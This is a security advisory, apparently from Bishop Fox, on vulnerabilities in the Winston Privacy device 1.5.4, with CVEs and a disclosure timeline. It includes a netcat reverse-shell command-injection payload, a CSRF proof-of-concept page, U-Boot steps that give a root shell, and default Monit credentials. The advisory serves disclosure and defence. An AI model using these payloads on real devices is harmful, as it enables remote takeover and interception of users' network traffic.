Winston Privacy Version 1.5.4


The Winston Privacy device was affected by critical and high-risk issues, including a severe command injection vulnerability. The device API was affected by multiple authorization/access control issues and cross origin attack vectors. Additionally, an undocumented SSH (remote access) service was identified. Winston was highly responsive in triaging and addressing vulnerabilities (see timeline for more details).


By exploiting these vulnerabilities an attacker could compromise the Winston Privacy device at a root level (high privilege) and gain complete control of the device as well as access to users' local networks from the context of a remote unauthenticated attacker. The vulnerabilities allowed for any device settings to be altered through an attack chain. Additionally, an SSH service was discovered on the device that was undocumented to the users’ knowledge, meaning Winston Privacy staff could access devices remotely.

Winston would like to clarify, "SSH access is disclosed to users when they report critical bugs which need remote assistance. We provide instructions at that time on how to open ports to provide this access to us."

Risk Level


Affected Vendor

Product Vendor

Product Name

Affected Version

Winston Privacy Winston Privacy device 1.5.4


Product Description

Winston Privacy is a hardware VPN alternative designed to keep users’ internet traffic private. The project’s official website is The latest version of the application is 1.5.8, released on 10/22/2020.

Vulnerabilities List

9 vulnerabilities were identified within the Winston Privacy device, including:











Update to version 1.5.8. (Partial fixes were offered in released intermediary updates)

Firmware updates are applied automatically so no action is required by users.

These vulnerabilities are described in the following sections.



The Winston Privacy device management API is vulnerable to command injection resulting in unauthenticated remote code execution (RCE). Specifically, the /api/advanced_settings endpoint allows device settings to be altered, including the Proxy Address.


Security Risk


Access Vector

CVE-2020-16257 Critical Code execution, Information disclosure Remote

The following unauthenticated API request was sent with a command injection payload in the Proxy Address field, which resulted in a connect-back shell:

POST /api/advanced_settings HTTP/1.1
…omitted for brevity…
{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 3137 >/tmp/f)","Result":"","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}


Figure 1 - Request with command injection payload

To discover this API endpoint, the Winston Privacy service binaries were extracted and disassembled after gaining access to the filesystem via a console that was accessible over a micro USB port, as described in the local console access section of the improper access controls finding in this advisory.

The vulnerable endpoint behavior was implemented in the main.ApplyAdvancedSettingsChanges() function. This function first saved the following values into the /etc/winston/config.toml file:

Function calls in Winston binary in /root/code/go/bin/winston

Figure 2
- Function calls in Winston binary in

The malicious user input persisted in config.toml, as shown below:

…omitted for brevity…
proxy_addr="$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 3137 >/tmp/f)"
…omitted for brevity…


Figure 3 - config.toml post-exploitation

Winston then refreshed the iptables rules using the /etc/winston/ script:


Function calls in Winston binary in

Figure 4 -
Winston binary calling

The script, which is shown below, sourced the config.toml file, executing the attacker’s command substitution stored in config.toml:

# Important: This file is configured for the Winston Privacy Board HW1/HW2 from GlobalScale.
echo "Reading config file"
source /etc/winston/config.toml
…omitted for brevity…

Figure 5
 Excerpt from

As a result, the payload executed and returned a reverse Netcat shell to the attacker-controlled local server:

Reverse shell returned

Figure 6
Reverse shell returned

This vulnerability allowed any host on the LAN to perform an unauthenticated attack to obtain full device compromise. This compromise allowed an attacker to intercept all traffic passing through the Winston Privacy device. It was observed that the Winston Privacy device relied on ARP spoofing, a technique used by hackers to perform a Man-in-the-Middle attack, to solicit all network traffic.

Winston would like to clarify that ARP spoofing is only used in one of the setup modes and "the designation 'MITM' also refers to CA certification impersonation, which we do not do."


The Winston Privacy device management API is vulnerable to CSRF. As a result, an attacker could change any device configuration or chain this CSRF vulnerability with the command injection finding to obtain RCE as an off-network attacker. This attack chain would allow an off-network attacker to gain root access on the Winston Privacy device as well as a privileged network position on a user’s internal network.


Security Risk


Access Vector

CVE-2020-16256 High Code execution, Device settings alteration Remote

To demonstrate how an attacker could leverage this vulnerability, the following proof-of-concept (PoC) HTML document was created:

<title>Winston Privacy CSRF</title>
h1 {
text-align: center;
text-transform: uppercase;
margin: 100px 50px 75px 100px;
<h1>CSRF Exploit<br>Proof of Concept </h1>
// is the same as local. This function sends CMD injection payload to local Winston API
fetch('', {
method: 'POST',
body: '{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 31337 >/tmp/f)","Result":"","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}'

Figure 7
- CSRF exploit PoC code

This HTML PoC document was then hosted locally as a web page, as shown below:

CSRF exploit phishing page

Figure 8
- CSRF exploit phishing page

If a user operating the Winston Privacy device navigated to this page, it would trigger the command injection API request (as described in the command injection finding) and result in code execution:

Reverse shell returned from CSRF exploit

Figure 9
- Reverse shell returned from CSRF exploit

This attack chain allows remote unauthenticated attackers to gain root access on the Winston Privacy device, compromising the integrity of inbound and outbound traffic.


The Winston Privacy device is affected by improper access controls. Excessive permissions for both the www-data user and the Winston Privacy API service facilitate root-level access upon compromise. Furthermore, the micro USB console allows for local root access.


Security Risk


Access Vector



High Escalation of privileges Local

Overly permissioned local user

User permissions allow a www-data user to escalate permissions to a root user on the operating system. The www-data user has sudo privileges, which makes that user equivalent to a root account.

The /etc/sudoers  file contained the following line:


Figure 10
Sudoers file granting www-data user no-password sudo permissions

This file granted the www-data user privileges to carry out any command on any resource without the use of a password, functionally making that user a root account.

This account appeared to be a remnant of a previous version of the web API, with the dead code still remaining in the device’s firmware.

Overly permissioned process

The Winston Privacy service is running with root permissions, as shown below:

root@winston-privacy-v1:~# ps aux | grep winston
L1378 root 0:12 /root/code/go/bin/winston -v 1 -P /var/run/winston.pidL

Figure 11
Process owned by root

If a vulnerability existed in the service that resulted in code execution, no further exploitation would be required to gain administrative control of the Winston Privacy device, as demonstrated in the aforementioned command injection finding.

Local console access

The Winston Privacy device allows a user to interrupt the U-Boot process and gain root access. Initially, the device only exposed power and network connections:

Winston Device

Figure 12
 - Winston Device

To access the device’s electronics directly, we used a rotary tool to cut it open:

Exposed Micro USB after sawing off cover

Figure 13Exposed micro USB after sawing off cover

This exposed a micro USB port, which interfaced with the device’s UART functionality, and what appeared to be a 10-pin JTAG header.

Winston device internals showing micro-USB and potential 10-pin JTAG

Figure 14 - Winston device internals showing micro-USB and potential 10-pin JTAG

Although the device had disabled the TTY login, this was bypassed by modifying the bootcmd U-Boot environment variable (i.e., the Linux kernel parameters) to boot the kernel directly to a root shell via the init boot parameter.

This interface had enabled the boot interrupt process. Pressing any key during the boot process would interrupt boot and allowed a user to edit the kernel command line:

WINSTON>> printenv bootcmd bootcmd=mmc dev 0;ext4load mmc 0:${mmcrootpart} $kernel_addr $image_name;ext4load mmc 0:${mmcrootpart} $fdt_addr $fdt_name;setenv bootargs $console root=/dev/mmcblk0p${mmcrootpart} rw rootwait net.ifnames=0 biosdevname=0;booti $kernel_addr - $fdt_addr

Figure 15
- Boot command variables

Editing this variable instructed the kernel to use /bin/bash as the init process:

WINSTON>> setenv bootcmd bootcmd=mmc dev 0;ext4load mmc 0:${mmcrootpart} $kernel_addr $image_name;ext4load mmc 0:${mmcrootpart} $fdt_addr $fdt_name;setenv bootargs $console root=/dev/mmcblk0p${mmcrootpart} rw rootwait net.ifnames=0 biosdevname=0;booti $kernel_addr - $fdt_addr init=/bin/bash 

Figure 16
- Boot command edited variable

Booting the device then presented a root shell, granting privileged access to the filesystem. The team used this access to re-enable the serial console and create a new user for exploring the running system.


The Winston Privacy device management API’s CORS policy allows arbitrary origins to send requests and view responses. This vulnerable CORS policy could be used to change device settings or view devices on the local network. It could also be chained with the aforementioned command injection finding to gain code execution from the context of a remote off-network attacker in the same manner demonstrated in the CSRF vulnerability.


Security Risk


Access Vector

CVE-2020-16263 High Code execution, Modification of device settings Remote

To confirm this vulnerable CORS policy, a request to add a firewall rule was sent to the API from a null origin:


POST /api/firewall HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 74
Origin: null
Connection: close
DNT: 1



HTTP/1.1 200 OK
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Origin: *
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: application/json; charset=utf-8
Expires: 0
Pragma: no-cache
Server: Winston
Vary: Access-Control-Request-Headers
Date: Thu, 23 Jul 2020 23:59:57 GMT
Content-Length: 82
Connection: close


As shown above, the request succeeded and allowed wildcard origin access to the response.

This overly permissive response header derived from the following lighttpd configuration found in /etc/lighttpd/lighttpd.conf:

setenv.add-response-header = ( "Server" => "Winston", "Access-Control-Allow-Origin" => "*" )

Figure 17
- Vulnerable CORS policy

This vulnerability could be exploited in the same manner as the CSRF finding. However, CORS allows responses to be viewed; assuming the CSRF issue did not exist, this CORS vulnerability would still affect the API as it stems from a separate root cause. Attackers could also exploit this permissive configuration to both extract sensitive information and perform state-changing operations to the remote device management API.


The Winston Privacy device management API is affected by insufficient authorization controls that allow device settings to be altered by unauthenticated users. Even if a PIN is set on the Winston Privacy UI, all device management API requests continue to be permitted without authentication.


Security Risk


Access Vector

CVE-2020-16260 High Code execution, Escalation of privileges Remote

As shown below, Winston Privacy web application users could opt in to create a PIN:

PIN request

Figure 18
- PIN request

However, this PIN is limited to the UI and adds no access control to the back-end API supporting the UI.

To demonstrate this issue, the following unauthenticated request was sent after establishing PIN authentication in the UI:


POST /api/advanced_settings HTTP/1.1
…omitted for brevityy…


HTTP/1.1 200 OK
…omitted for brevity…
{"EnableHTTPFiltering":true,"EnableHTTPSFiltering":true,"EnableBehindRouter":true,"ProxyAddress":"","Result":"Updated IP tables. Update Proxy IP address to","EnableDNSFilter":true,"EnableHTTPoverP2P":false,"P2P":"on","EnableSmartBlocking":true,"EnableExtensions":true}

As shown above, the state-changing request succeeded, showing a 200 OK response without requiring any credentials or session context.

All requests to the API could still be sent successfully without authentication to the user interface.


Winston Privacy runs a Monit web application on port 2812 that is configured with default administrative credentials. An attacker on the local network could log in to Monit and shut down the Winston Privacy service, thereby disabling privacy features.


Security Risk


Access Vector

CVE-2020-16258 Medium Denial of service, Information disclosure Remote

The Monit service was configured to accept default credentials on the device, as shown in /root/.monitrc:

allow admin:monit      # require user 'admin' with password 'monit'

Figure 19
- Monit default credentials

This would allow any user with network access to Winston Privacy to authenticate to the service as the admin user with the password monit:

Monit authenticated with default credentials

Figure 20
- Monit authenticated with default credentials

As shown above, Monit monitors and manages running processes and allows remote shutdown of the processes. An attacker with access to this service could disable arbitrary services, affecting the integrity of the services provided by Winston Privacy.


The Winston Privacy device runs an undocumented SSH service. This service corresponds to a local user account named support. Winston Privacy uses iptables rules to restrict access to the SSH service to pre-defined WAN bastion hosts or the LAN.


Security Risk


Access Vector

CVE-2020-16259 Low Vendor remote access Remote

During review of the Winston Privacy device’s filesystem, a support user was discovered in the /etc/passwd file:

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

Figure 21
- Contents on

By navigating the support account’s home directory, it was noted that the user had an authorized key configured to allow key authentication to the SSH server running on the non-standard port 2324:

sh-4.3# pwd
sh-4.3# ls -la
ls -la
total 20
drwxr-xr-x 3 root root 4096 Jul 25 20:30 .
drwxr-xr-x 4 root root 4096 Jul 23 17:56 ..
-rwxr-xr-x 1 root root 410 Jul 19 16:09 .bashrc
-rwxr-xr-x 1 root root 152 Jul 19 16:09 .profile
drwxr-xr-x 3 1000 support 4096 Jul 21 18:48 .ssh
sh-4.3# ls -la .ssh
ls -la .ssh
total 16
drwxr-r-x 2 root root 4096 Jul 21 18:48
drwxr-r-x 3 1000 support 4096 Jul 21 18:48 .
drwxr-r-x 3 root root 4096 Jul 25 20:30 ..
-rwxr-xr-x 1 1000 support  811 Jul 21 18:44 authorized_keys

Figure 22
- Support user’s SSH authorized key file

Further investigation into this support user account revealed that the iptables rules allowed for remote access from two bastion servers:

-A INPUT -s -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-A INPUT -s -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-A INPUT -s -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,EST ABLISHED -j ACCEPT
-A INPUT -s -p tcp -m tcp --dport 2324 -m conntrack --ctstate N EW,ESTABLISHED -j ACCEPT
-A INPUT -s -p tcp -m tcp --dport 2324 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
-A INPUT -s -p tcp -m tcp --dport 2324 -m conntrack --ctstate NE W,ESTABLISHED -j ACCEPT

Figure 23
iptables rules allowing remote access to SSH

Additionally, the support user had sudo permissions, functionally making that user a root user.

No documentation was found that stated to users that the device could be remotely accessed by Winston Privacy staff. However, Winston clarified, "SSH access is disclosed to users when they report critical bugs which need remote assistance. We provide instructions at that time on how to open ports to provide this access to us."


Chris Davis, Security Consultant, Bishop Fox (

Justin Paglierani, Independent Security Researcher (@jpaglier)



  • Initial Discovery: 07/21/2020
  • Contact With Vendor: 07/29/2020
  • Vendor Acknowledged Vulnerabilities: 07/29/2020
  • Patch for Command Injection issue: 07/29/2020
  • Patch for most remaining issues; version 1.5.7: 09/28/2020
  • Final complete patch; version 1.5.8: 10/22/2020
  • Vulnerabilities publicly disclosed: 10/27/2020